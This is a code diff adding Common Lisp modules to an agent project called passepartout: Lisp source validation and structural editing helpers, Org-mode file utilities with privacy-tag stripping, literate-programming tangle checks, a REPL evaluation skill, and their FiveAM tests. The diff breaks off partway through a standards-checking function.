+                                   "--eval" "(princ (buffer-string))")
+                             :output :string :error-output :string :ignore-error-status t)
+          (if (= code 0)
+              out
+              (progn
+                (log-message "FORMAT ERROR: ~a" err)
+                code-string))))
+    (error (c)
+      (log-message "FORMAT EXCEPTION: ~a" c)
+      code-string)))
+
+(defun lisp-extract (code function-name)
+  "Extracts the definition of a specific function from a code string."
+  (let ((*read-eval* nil))
+    (with-input-from-string (s code)
+      (loop for form = (read s nil :eof) until (eq form :eof)
+            when (and (listp form) 
+                      (symbolp (car form))
+                      (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
+                      (symbolp (second form))
+                      (string-equal (symbol-name (second form)) function-name))
+            do (return-from lisp-extract (format nil "~s" form))))
+    nil))
+
+(defun lisp-wrap (code target-name wrapper-symbol)
+  "Wraps a specific form in a wrapper form (e.g., wrap in a let)."
+  (let ((*read-eval* nil) (results nil))
+    (with-input-from-string (s code)
+      (loop for form = (read s nil :eof) until (eq form :eof)
+            do (if (and (listp form) 
+                        (symbolp (second form))
+                        (string-equal (symbol-name (second form)) target-name))
+                   (push (list wrapper-symbol form) results)
+                   (push form results))))
+    (format nil "~{~s~^~%~%~}" (nreverse results))))
+
+(defun lisp-list-definitions (code)
+  "Returns a list of names for all top-level definitions (defun, defmacro, etc.)."
+  (let ((*read-eval* nil) (names nil))
+    (with-input-from-string (s code)
+      (loop for form = (read s nil :eof) until (eq form :eof)
+            when (and (listp form) 
+                      (symbolp (car form))
+                      (member (symbol-name (car form)) 
+                              '("DEFUN" "DEFMACRO" "DEFMETHOD" "DEFVAR" "DEFPARAMETER")
+                              :test #'string-equal)
+                      (symbolp (second form)))
+            do (push (second form) names)))
+    (nreverse names)))
+
+(defun lisp-inject (code target-name new-form-string)
+  "Injects a new form into the body of a targeted definition."
+  (let ((*read-eval* nil)
+        (new-form (read-from-string new-form-string))
+        (results nil))
+    (with-input-from-string (s code)
+      (loop for form = (read s nil :eof) until (eq form :eof)
+            do (if (and (listp form) 
+                        (symbolp (car form))
+                        (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
+                        (symbolp (second form))
+                        (string-equal (symbol-name (second form)) target-name))
+                   (push (append form (list new-form)) results)
+                   (push form results))))
+    (format nil "~{~s~^~%~%~}" (nreverse results))))
+
+(defun lisp-slurp (code target-name form-to-slurp-string)
+  "Adds a form to the end of a named list or definition (Paredit slurp)."
+  (let ((*read-eval* nil)
+        (to-slurp (read-from-string form-to-slurp-string))
+        (results nil))
+    (with-input-from-string (s code)
+      (loop for form = (read s nil :eof) until (eq form :eof)
+            do (if (and (listp form) 
+                        (symbolp (second form))
+                        (string-equal (symbol-name (second form)) target-name))
+                   (push (append form (list to-slurp)) results)
+                   (push form results))))
+    (format nil "~{~s~^~%~%~}" (nreverse results))))
+
+(defskill :passepartout-programming-lisp
+  :priority 400
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(defun plist-keywords-normalize (plist)
+
+  (when (listp plist)
+
+    (loop for (k v) on plist by #'cddr
+
+          collect (if (and (symbolp k) (not (keywordp k)))
+
+                       (intern (string k) :keyword)
+
+                       k)
+
+          collect v)))
+
+(defun plist-keywords-normalize (plist)
+  (when (listp plist)
+    (loop for (k v) on plist by #'cddr
+          collect (if (and (symbolp k) (not (keywordp k)))
+                       (intern (string k) :keyword)
+                       k)
+          collect v)))
+
+(defpackage :passepartout-utils-lisp-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-lisp-suite))
+
+(in-package :passepartout-utils-lisp-tests)
+
+(def-suite utils-lisp-suite
+  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
+
+(in-suite utils-lisp-suite)
+
+(test structural-balanced
+  "Contract 1: balanced code returns T."
+  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
+
+(test structural-unbalanced-open
+  "Contract 1: missing close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test structural-unbalanced-close
+  "Contract 1: extra close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test syntactic-valid
+  "Contract 2: valid syntax passes syntactic check."
+  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
+
+(test semantic-safe
+  "Contract 3: safe code passes semantic check."
+  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
+
+(test semantic-blocked-eval
+  "Contract 3: eval forms are blocked by semantic check."
+  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
+    (is (null ok))
+    (is (search "Unsafe" reason))))
+
+(test unified-success
+  "Contract 4: valid code returns :success via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
+    (is (eq (getf result :status) :success))))
+
+(test unified-failure
+  "Contract 4: invalid code returns :error via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
+    (is (eq (getf result :status) :error))))
+
+(test eval-basic
+  "Contract 5: lisp-eval returns :success with captured result."
+  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (string= (getf result :result) "3"))))
+
+(test structural-extract
+  "Contract 6: lisp-extract finds and returns a named function."
+  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
+         (extracted (passepartout:lisp-extract code "hello")))
+    (is (not (null extracted)))
+    (let ((form (read-from-string extracted)))
+      (is (eq (car form) 'DEFUN))
+      (is (eq (second form) 'HELLO)))))
+
+(test list-definitions
+  "Contract 7: lisp-list-definitions returns all defined names."
+  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
+    (let ((names (passepartout:lisp-list-definitions code)))
+      (is (member 'FOO names))
+      (is (member 'BAR names))
+      (is (member '*BAZ* names)))))
+
+(test structural-inject
+  "Contract 8: lisp-inject adds a form to a function body."
+  (let* ((code "(defun my-fun (x) (print x))")
+         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
+    (let ((form (read-from-string injected)))
+      (is (equal (last form) '((FINISH-OUTPUT)))))))
+
+(test structural-slurp
+  "Contract 9: lisp-slurp appends a form to a function body."
+  (let* ((code "(defun work () (step-1))")
+         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
+    (let ((form (read-from-string slurped)))
+      (is (equal (last form) '((STEP-2)))))))

lisp/programming-literate.lisp

@@ -0,0 +1,103 @@
+(in-package :passepartout)
+
+(defun literate-extract-lisp-blocks (content)
+  "Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
+Returns a list of block strings."
+  (let ((lines (uiop:split-string content :separator '(#\Newline)))
+        (blocks nil)
+        (in-block nil)
+        (current-block nil))
+    (dolist (line lines)
+      (let ((trimmed (string-trim '(#\Space) line)))
+        (cond
+          ((uiop:string-prefix-p "#+begin_src lisp" trimmed)
+           (setf in-block t current-block nil))
+          ((uiop:string-prefix-p "#+end_src" trimmed)
+           (when in-block
+             (push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks)
+             (setf in-block nil current-block nil)))
+          (in-block
+           (push line current-block)))))
+    (nreverse blocks)))
+
+(defun literate-block-balance-check (org-file)
+  "Verifies that all Lisp source blocks in an Org file have balanced parentheses.
+Returns T if all blocks pass validation, or an error string listing failures."
+  (when (not (uiop:file-exists-p org-file))
+    (return-from literate-block-balance-check
+      (format nil "Org file not found: ~a" org-file)))
+  (let* ((content (uiop:read-file-string org-file))
+         (blocks (literate-extract-lisp-blocks content))
+         (failures nil))
+    (if (null blocks)
+        t
+        (progn
+          (loop for i from 0
+                for block in blocks
+                for (ok reason) = (multiple-value-list
+                                    (lisp-structural-check block))
+                unless ok
+                do (push (format nil "Block ~d: ~a" (1+ i) reason) failures))
+          (if failures
+              (format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures)
+              t)))))
+
+(defun literate-tangle-sync-check (org-file lisp-file)
+  "Verifies that the .lisp file matches the tangled output of the .org file.
+Compares the concatenation of all lisp blocks from the Org file against the
+contents of the Lisp file. Returns T if they match, or an error message."
+  (when (not (uiop:file-exists-p org-file))
+    (return-from literate-tangle-sync-check
+      (format nil "Org file not found: ~a" org-file)))
+  (when (not (uiop:file-exists-p lisp-file))
+    (return-from literate-tangle-sync-check
+      (format nil "Lisp file not found: ~a" lisp-file)))
+  (let* ((org-content (uiop:read-file-string org-file))
+         (org-blocks (literate-extract-lisp-blocks org-content))
+         (tangled (format nil "~{~a~^~%~%~}" org-blocks))
+         (lisp-content (uiop:read-file-string lisp-file)))
+    (if (string= (string-trim '(#\Space #\Newline) tangled)
+                 (string-trim '(#\Space #\Newline) lisp-content))
+        t
+        (format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file))))
+
+(defskill :passepartout-programming-literate
+  :priority 300
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-literate-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:literate-suite))
+
+(in-package :passepartout-programming-literate-tests)
+
+(def-suite literate-suite :description "Verification of the Literate Programming skill")
+(in-suite literate-suite)
+
+(test test-extract-lisp-blocks
+  "Contract 1: extracts lisp from #+begin_src blocks."
+  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
+         (extracted (literate-extract-lisp-blocks org-content)))
+    (let ((joined (format nil "~{~a~^~%~}" extracted)))
+      (is (search "(+ 1 2)" joined))
+      (is (search "(+ 3 4)" joined)))))
+
+(test test-block-balance-check-valid
+  "Contract 2: balanced parens return T."
+  (is (eq t (literate-block-balance-check
+             (merge-pathnames "org/core-pipeline.org"
+                              (uiop:ensure-directory-pathname
+                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
+
+(test test-block-balance-check-missing-close
+  "Contract 2: unbalanced parens return non-T."
+  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
+
+(test test-tangle-sync-check
+  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
+  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
+    (is (or (eq t result) (stringp result))
+        "Should return T or a mismatch description")))

lisp/programming-org.lisp

@@ -0,0 +1,357 @@
+(in-package :passepartout)
+
+(defun org-filetags-extract (content)
+  "Extracts the list of tags from a #+FILETAGS: line."
+  (let ((lines (uiop:split-string content :separator '(#\Newline))))
+    (dolist (line lines)
+      (when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line))
+        (let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10))))
+          (return-from org-filetags-extract
+            (mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag)))
+                    (uiop:split-string tag-str :separator '(#\space #\tab))))))))
+  nil)
+
+(defun org-privacy-tag-p (tags-list)
+  "Returns T if any tag in TAGS-LIST matches the Dispatcher's privacy tags."
+  (let ((privacy-tags (symbol-value (find-symbol "*DISPATCHER-PRIVACY-TAGS*" :passepartout))))
+    (when (and tags-list privacy-tags)
+      (some (lambda (tag)
+              (some (lambda (private-tag)
+                      (string-equal (string-trim '(#\: #\space) tag)
+                                    (string-trim '(#\: #\space) private-tag)))
+                    privacy-tags))
+            tags-list))))
+
+(defun org-privacy-strip (content)
+  "Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
+Returns the filtered content as a string."
+  (let* ((lines (uiop:split-string content :separator '(#\Newline)))
+         (result-lines nil)
+         (skip-depth nil)
+         (current-tags nil)
+         (in-properties nil))
+    (dolist (line lines)
+      (cond
+        (skip-depth
+         ;; We're inside a skipped subtree
+         (when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line))
+                    (<= (length (string-trim '(#\Space) line)) skip-depth))
+           (setf skip-depth nil)))
+        ((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line))
+         (setf in-properties t)
+         (push line result-lines))
+        ((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line))
+         (setf in-properties nil)
+         (when current-tags
+           (when (org-privacy-tag-p (reverse current-tags))
+             (setf skip-depth
+                   (length (car (last result-lines
+                                      (1+ (position-if
+                                           (lambda (l)
+                                             (uiop:string-prefix-p "*" (string-trim '(#\Space) l)))
+                                           (reverse result-lines))))))))
+           (setf current-tags nil))
+         (push line result-lines))
+        ((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line)))
+         (let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6))))
+           (setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab))))
+         (push line result-lines))
+        (t
+         (push line result-lines))))
+    (format nil "~{~a~%~}" (nreverse result-lines))))
+
+(defun org-read-file (filepath)
+  "Reads an Org file into a string, applying privacy filtering."
+  (let* ((raw (uiop:read-file-string filepath))
+         (filetags (org-filetags-extract raw)))
+    (if (org-privacy-tag-p filetags)
+        (progn
+          (log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags)
+          nil)
+        (org-privacy-strip raw))))
+
+(defun org-write-file (filepath content)
+  "Writes content to an Org file."
+  (uiop:with-output-file (s filepath :if-exists :supersede)
+    (format s "~a" content)))
+
+(defun org-id-generate ()
+  "Generates a new UUID for an Org node."
+  (string-downcase (format nil "~a" (uuid:make-v4-uuid))))
+
+(defun org-id-format (id)
+  "Ensures the ID has the 'id:' prefix."
+  (if (uiop:string-prefix-p "id:" id)
+      id
+      (format nil "id:~a" id)))
+
+(defun org-property-set (ast target-id property value)
+  "Recursively sets a property on a headline with a matching ID in the AST."
+  (let ((type (getf ast :type))
+        (props (getf ast :properties))
+        (contents (getf ast :contents)))
+    (when (and (eq type :HEADLINE) (string= (getf props :ID) target-id))
+      (setf (getf (getf ast :properties) property) value)
+      (return-from org-property-set t))
+    (dolist (child contents)
+      (when (listp child)
+        (when (org-property-set child target-id property value)
+          (return-from org-property-set t)))))
+  nil)
+
+(defun org-todo-set (ast target-id status)
+  "Sets the TODO status of a headline in the AST."
+  (org-property-set ast target-id :TODO status))
+
+(defun org-headline-add (ast parent-id title)
+  "Adds a new headline as a child of the parent-id in the AST."
+  (let* ((type (getf ast :type))
+         (props (getf ast :properties))
+         (id (getf props :ID))
+         (contents (getf ast :contents)))
+    (when (and (eq type :HEADLINE) (string= id parent-id))
+      (let ((new-node (list :type :HEADLINE
+                           :properties (list :ID (org-id-format (org-id-generate))
+                                            :TITLE title)
+                           :contents nil)))
+        (setf (getf ast :contents) (append contents (list new-node)))
+        (return-from org-headline-add t)))
+    (dolist (child contents)
+      (when (listp child)
+        (when (org-headline-add child parent-id title)
+          (return-from org-headline-add t)))))
+  nil)
+
+(defun org-headline-find-by-id (ast id)
+  "Finds a headline by its ID in the AST."
+  (let ((props (getf ast :properties)))
+    (when (string= (getf props :ID) id)
+      (return-from org-headline-find-by-id ast))
+    (dolist (child (getf ast :contents))
+      (when (listp child)
+        (let ((found (org-headline-find-by-id child id)))
+          (when found (return-from org-headline-find-by-id found)))))
+    nil))
+
+(defun org-headline-find-by-title (ast title)
+  "Finds a headline by its title in the AST."
+  (let ((props (getf ast :properties)))
+     (when (string-equal (getf props :TITLE) title)
+      (return-from org-headline-find-by-title ast))
+    (dolist (child (getf ast :contents))
+      (when (listp child)
+        (let ((found (org-headline-find-by-title child title)))
+          (when found (return-from org-headline-find-by-title found)))))
+     nil))
+
+(defun org-id-get-create (ast target-id)
+  "If the headline at TARGET-ID has an :ID property, return it.
+If not, generate a new UUID, set it as the :ID property, and return it.
+TARGET-ID can be a headline's :ID or :TITLE in the AST.
+Returns nil if the headline is not found."
+  (let ((headline (or (org-headline-find-by-id ast target-id)
+                      (org-headline-find-by-title ast target-id))))
+    (when headline
+      (let* ((props (getf headline :properties))
+             (id (getf props :ID)))
+        (if id
+            id
+            (let ((new-id (org-id-format (org-id-generate))))
+              (setf (getf props :ID) new-id)
+              new-id))))))
+
+(defun org-subtree-extract (org-content heading-name)
+  "Extracts a subtree by heading name from Org text. Returns the subtree
+content as a string (headline + body + children), or nil if not found."
+  (let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
+         (target-depth nil)
+         (in-target nil)
+         (result nil))
+    (loop for line in lines
+          for trimmed = (string-trim '(#\Space) line)
+          do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
+                            (length (subseq trimmed 0
+                                            (position-if (lambda (c) (not (char= c #\*)))
+                                                         trimmed)))))
+                   (headline-title (when (uiop:string-prefix-p "*" trimmed)
+                                     (string-trim '(#\* #\Space) trimmed))))
+               (when depth
+                 (when (string-equal headline-title heading-name)
+                   (setf target-depth depth in-target t))
+                 (when (and in-target target-depth
+                            (<= depth target-depth)
+                            (not (string-equal headline-title heading-name)))
+                   (return-from org-subtree-extract
+                     (format nil "~{~a~^~%~}" (nreverse result)))))
+               (when in-target (push line result))))
+    (when result
+      (format nil "~{~a~^~%~}" (nreverse result)))))
+
+(defun org-heading-list (org-content)
+  "Returns a list of all top-level heading names in Org text."
+  (let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
+         (headings nil))
+    (dolist (line lines)
+      (let ((trimmed (string-trim '(#\Space) line)))
+        (when (uiop:string-prefix-p "* " trimmed)
+          (let ((title (string-trim '(#\* #\Space) trimmed)))
+            (unless (find title headings :test #'string-equal)
+              (push title headings))))))
+    (nreverse headings)))
+
+(defun org-modify (filepath old-text new-text)
+  "Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
+Returns T if OLD-TEXT was found and replaced, nil if not found."
+  (when (not (uiop:file-exists-p filepath))
+    (log-message "UTILS-ORG: org-modify: file not found: ~a" filepath)
+    (return-from org-modify nil))
+  (let* ((content (uiop:read-file-string filepath))
+         (pos (search old-text content :test #'string=)))
+    (unless pos
+      (log-message "UTILS-ORG: org-modify: text not found in ~a" filepath)
+      (return-from org-modify nil))
+    (let ((modified (cl-ppcre:regex-replace-all
+                      (cl-ppcre:quote-meta-chars old-text)
+                      content new-text)))
+      (org-write-file filepath modified)
+      (log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text))
+      t)))
+
+(defun org-ast-render (ast &key (depth 1))
+  "Converts a plist AST node back to Org text.
+AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
+              :contents (child-ast ...))"
+  (let* ((type (getf ast :TYPE))
+         (props (getf ast :properties))
+         (title (or (getf props :TITLE) "Untitled"))
+         (tags (getf props :TAGS))
+         (todo (getf props :TODO-STATE))
+         (children (getf ast :contents))
+         (raw-content (getf ast :raw-content))
+         (stars (make-string depth :initial-element #\*))
+         (output ""))
+    (unless (eq type :HEADLINE)
+      (return-from org-ast-render (or raw-content "")))
+    ;; Headline
+    (setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
+    (when tags
+      (let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
+        (setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
+      (setf output (concatenate 'string output (string #\Newline))))
+    (unless tags
+      (setf output (concatenate 'string output (string #\Newline))))
+    ;; Property drawer
+    (setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline)))
+    (loop for (k v) on props by #'cddr
+          do (unless (or (eq k :TITLE) (eq k :TAGS))
+               (setf output (concatenate 'string output
+                                         (format nil ":~a: ~a~%" k v)))))
+    (setf output (concatenate 'string output ":END:" (string #\Newline)))
+    ;; Content
+    (when raw-content
+      (setf output (concatenate 'string output raw-content (string #\Newline))))
+    ;; Children
+    (dolist (child children)
+      (when (listp child)
+        (setf output (concatenate 'string output
+                                  (org-ast-render child :depth (1+ depth))))))
+    output))
+
+(defskill :passepartout-programming-org
+  :priority 100
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ignore-errors (ql:quickload :fiveam :silent t)))
+
+(defpackage :passepartout-utils-org-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-org-suite))
+
+(in-package :passepartout-utils-org-tests)
+
+(def-suite utils-org-suite
+  :description "Tests for Utils Org skill.")
+
+(in-suite utils-org-suite)
+
+(test id-generation
+  "Contract 1: org-id-generate returns unique UUID strings."
+  (let ((id1 (org-id-generate))
+        (id2 (org-id-generate)))
+    (is (plusp (length id1)))
+    (is (not (string= id1 id2)))))
+
+(test id-format
+  "Contract 2: org-id-format ensures 'id:' prefix."
+  (let ((formatted (org-id-format "abc12345")))
+    (is (search "id:" formatted))))
+
+(test property-setter
+  "Contract 3: org-property-set modifies a property on a headline."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:test123" :TITLE "Test")
+                  :contents nil)))
+    (org-property-set ast "id:test123" :STATUS "ACTIVE")
+    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
+
+(test todo-setter
+  "Contract 4: org-todo-set changes TODO state via org-property-set."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:todo001" :TITLE "Task")
+                  :contents nil)))
+    (org-todo-set ast "id:todo001" "DONE")
+    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
+
+(test test-org-headline-add
+  "Contract 5: org-headline-add inserts a child headline."
+  (let* ((ast (list :type :HEADLINE
+                   :properties (list :ID "root" :TITLE "Root")
+                   :contents nil)))
+    (is (eq t (org-headline-add ast "root" "New Child")))
+    (is (= 1 (length (getf ast :contents))))
+    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
+
+(test test-org-headline-find-by-id
+  "Contract 6: org-headline-find-by-id finds a headline by ID."
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents
+                    (list (list :type :HEADLINE
+                                :properties (list :ID "child1" :TITLE "Child"))
+                          (list :type :HEADLINE
+                                :properties (list :ID "child2" :TITLE "Child 2"))))))
+    (let ((found (org-headline-find-by-id ast "child2")))
+      (is (not (null found)))
+      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
+    (let ((missing (org-headline-find-by-id ast "nonexistent")))
+      (is (null missing) "Missing ID should return nil"))))
+
+(test test-org-id-get-create
+  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
+  ;; Case 1: headline already has an ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "id:existing" :TITLE "Has ID")
+                    :contents nil)))
+    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
+  ;; Case 2: headline exists by title but has no ID — one should be created
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "No ID")
+                    :contents nil)))
+    (let ((new-id (org-id-get-create ast "No ID")))
+      (is (stringp new-id))
+      (is (uiop:string-prefix-p "id:" new-id))
+      ;; Verify the ID was set on the headline
+      (is (string= new-id (getf (getf ast :properties) :ID)))))
+  ;; Case 3: idempotent — calling again returns same ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "Idempotent")
+                    :contents nil)))
+    (let ((id1 (org-id-get-create ast "Idempotent"))
+          (id2 (org-id-get-create ast "Idempotent")))
+      (is (string= id1 id2))))
+  ;; Case 4: headline not found returns nil
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents nil)))
+    (is (null (org-id-get-create ast "nonexistent")))))

lisp/programming-repl.lisp

@@ -0,0 +1,185 @@
+(in-package :passepartout)
+
+(defvar *repl-package* :passepartout
+  "Default package for REPL evaluations.")
+
+(defvar *repl-history* nil
+  "History of evaluated forms for session continuity.")
+
+(defvar *repl-variables* (make-hash-table :test #'eq)
+  "Cache of bound variables for inspection.")
+
+(defun repl-eval (code-string &key (package *repl-package*))
+  "Evaluate Lisp code and return (values result output error).
+   - result: the return value as string
+   - output: captured stdout
+   - error: error message or nil on success"
+  (let ((out (make-string-output-stream))
+        (err (make-string-output-stream))
+        (pkg (or (find-package package) (find-package :passepartout))))
+    (handler-case
+        (let* ((*standard-output* out)
+               (*error-output* err)
+               (*package* pkg)
+               (*read-eval* nil)
+               (result nil))
+          (with-input-from-string (s code-string)
+            (loop for form = (read s nil :eof) until (eq form :eof)
+                  do (setf result (eval form))))
+          (push code-string *repl-history*)
+          (values
+           (format nil "~a" result)
+           (get-output-stream-string out)
+           nil))
+      (error (c)
+        (values
+         nil
+         (get-output-stream-string out)
+         (format nil "~a" c))))))
+
+(defun repl-inspect (symbol-name &key (package *repl-package*))
+  "Inspect a variable's value and structure."
+  (let* ((pkg (or (find-package package) (find-package :passepartout)))
+         (sym (find-symbol (string-upcase symbol-name) pkg)))
+    (cond
+      ((null sym)
+       (format nil "Symbol ~a not found in package ~a" symbol-name package))
+      ((boundp sym)
+       (let ((val (symbol-value sym)))
+         (format nil "~a = ~a~%Type: ~a~%~%"
+                 sym val (type-of val))))
+      ((fboundp sym)
+       (format nil "~a is a function~%Args: ~a~%"
+               sym (documentation sym 'function)))
+      (t
+       (format nil "~a is unbound" symbol-name)))))
+
+(defun repl-list-vars (&key (package *repl-package*))
+  "List all bound variables in the package."
+  (let* ((pkg (or (find-package package) (find-package :passepartout)))
+         (vars nil))
+    (do-symbols (sym pkg)
+      (when (boundp sym)
+        (push (format nil "~a" sym) vars)))
+    (sort vars #'string<)))
+
+(defun repl-load-file (filepath)
+  "Load a Lisp file into the current image."
+  (handler-case
+      (progn
+        (load filepath)
+        (format nil "Loaded ~a" filepath))
+    (error (c)
+      (format nil "Error loading ~a: ~a" filepath c))))
+
+(defun repl-set-package (package-name)
+  "Set the default package for REPL evaluations."
+  (let ((pkg (find-package (string-upcase package-name))))
+    (if pkg
+        (setf *repl-package* pkg)
+        (format nil "Package ~a not found" package-name))))
+
+(defun repl-help ()
+  "Return available REPL commands."
+  (format nil "~%
+REPL Skill Commands:
+-------------------
+(repl-eval \"code\" :package :passepartout)
+  - Evaluate Lisp code, returns (values result output error)
+
+(repl-inspect \"symbol\" :package :passepartout)
+  - Inspect a variable or function
+
+(repl-list-vars :package :passepartout)
+  - List all bound variables
+
+(repl-load-file \"/path/to/file.lisp\")
+  - Load a file into the image
+
+(repl-set-package :package-name)
+  - Switch default package
+
+(repl-help)
+  - Show this message
+"))
+
+(defun repl-handle (signal)
+  "Pre-reason handler for :repl-eval sensor. Evaluates code and
+writes the result back through the reply-stream."
+  (let* ((payload (getf signal :payload))
+         (code (getf payload :code))
+         (stream (getf (getf signal :meta) :reply-stream))
+         (result (multiple-value-bind (val out err)
+                     (repl-eval code)
+                   (if err
+                       (list :status :error :message err)
+                       (list :status :success :value (or val ""))))))
+    (when stream
+      (handler-case
+          (progn
+            (write-sequence (frame-message result) stream)
+            (finish-output stream))
+        (error (c)
+          (log-message "REPL-EVAL: Failed to write response: ~a" c))))
+    ;; Return T to signal the message was consumed
+    t))
+
+;; Register the handler at load time
+(register-pre-reason-handler :repl-eval #'repl-handle)
+
+(defun repl-mandate (context)
+  "Returns REPL-first engineering mandate when context involves code editing."
+  (let ((raw (or (proto-get (proto-get context :payload) :text) "")))
+    (when (or (search "org-skill-" raw :test #'char-equal)
+              (and (search ".org" raw :test #'char-equal)
+                   (or (search "defun" raw :test #'char-equal)
+                       (search "tangle" raw :test #'char-equal)
+                       (search "write-file" raw :test #'char-equal)
+                       (search "lisp" raw :test #'char-equal)))
+              (search "defun " raw :test #'char-equal)
+              (search "repl-eval" raw :test #'char-equal)
+              (search "validate" raw :test #'char-equal))
+      (format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%"))))
+
+(defskill :passepartout-programming-repl
+  :priority 200
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
+  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
+
+(eval-when (:load-toplevel :execute)
+  (push #'repl-mandate *standing-mandates*))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-repl-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:repl-suite))
+
+(in-package :passepartout-programming-repl-tests)
+
+(def-suite repl-suite :description "Verification of the REPL skill")
+(in-suite repl-suite)
+
+(test test-repl-eval-success
+  "Contract 1: repl-eval returns result and no error for valid code."
+  (multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
+    (is (equal "3" result))
+    (is (null error))))
+
+(test test-repl-eval-error
+  "Contract 1: repl-eval returns error message for invalid code."
+  (multiple-value-bind (result output error) (repl-eval "(+ 1 ")
+    (is (null result))
+    (is (stringp error))))
+
+(test test-repl-inspect-found
+  "Contract 2: repl-inspect returns description for a bound symbol."
+  (let ((desc (repl-inspect "+" :package :cl)))
+    (is (search "+" desc))))
+
+(test test-repl-list-vars
+  "Contract 3: repl-list-vars returns a list of symbol name strings."
+  (let ((vars (repl-list-vars :package :keyword)))
+    (is (listp vars))
+    (is (member "PASSEPARTOUT" vars :test #'string-equal))))

lisp/programming-standards.lisp

@@ -0,0 +1,23 @@
+(in-package :passepartout)
+
+(defun standards-git-clean-p (dir)
+  "Checks if a directory has uncommitted changes."
+  (let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
+                                 :output :string
+                                 :ignore-error-status t)))
+    (string= "" (string-trim '(#\Space #\Newline #\Tab) status))))
+
+(defun standards-lisp-verify (code)
+  "Enforces Lisp structural and semantic standards using utils-lisp."
+  (let ((result (lisp-validate code :strict t)))
+    (if (eq (getf result :status) :success)
+        t
